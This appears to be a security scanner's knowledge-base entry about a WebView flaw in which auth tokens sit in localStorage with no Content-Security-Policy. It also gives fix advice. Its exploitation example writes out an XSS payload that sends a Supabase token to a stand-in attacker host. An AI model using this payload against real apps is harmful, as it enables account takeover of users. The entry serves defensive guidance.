high · M4 · MASVS-PLATFORM-2 · PTKD-WEBVIEW-TOKEN-NO-CSP
Login session in WebView storage with no Content-Security-Policy
This Capacitor / Cordova app keeps the login session (access and refresh token) in the WebView's localStorage, and its index.html sets no Content-Security-Policy. Any script that gets into the page, through a cross-site scripting bug in user content or a compromised third-party script, can read localStorage and send the token to an attacker, who can then sign in as the user.
How it is exploited
A Lovable app wrapped with Capacitor shows user comments with dangerouslySetInnerHTML. Someone posts `<img src=x onerror="fetch('https://evil.example/?t='+localStorage.getItem('sb-abc-auth-token'))">`. Every user who opens the comment sends their Supabase refresh token to the attacker, who signs in as them. A CSP without 'unsafe-inline' and with a narrow connect-src would block both the inline handler and the request.
Why it matters
Account takeover of every user who loads the injected content.
How to fix it
- Add `<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; connect-src 'self' https://<project>.supabase.co; img-src 'self' data: https:">` to index.html and remove inline scripts.
- Give supabase-js a secure storage adapter (auth: { storage: <Capacitor secure-storage adapter> }) instead of localStorage.
- Render user content as text, never as HTML.
Does your app have this?
PTKD checks your build or your source project for PTKD-WEBVIEW-TOKEN-NO-CSP and every other check in this knowledge base.
Scan your appReferences
Related checks (M4)
- Supabase function runs any SQL the caller sends
- Deep link URL loaded or opened without a host check (heuristic)
- Hybrid WebView may open any website inside the app
- Wildcard associated domain (universal-link hijack surface)
- Process execution via system()/exec/popen
- Unsafe C string function (buffer overflow risk)
- Hijackable custom URL-scheme deep link
- SQL built by joining request data into a string (text search)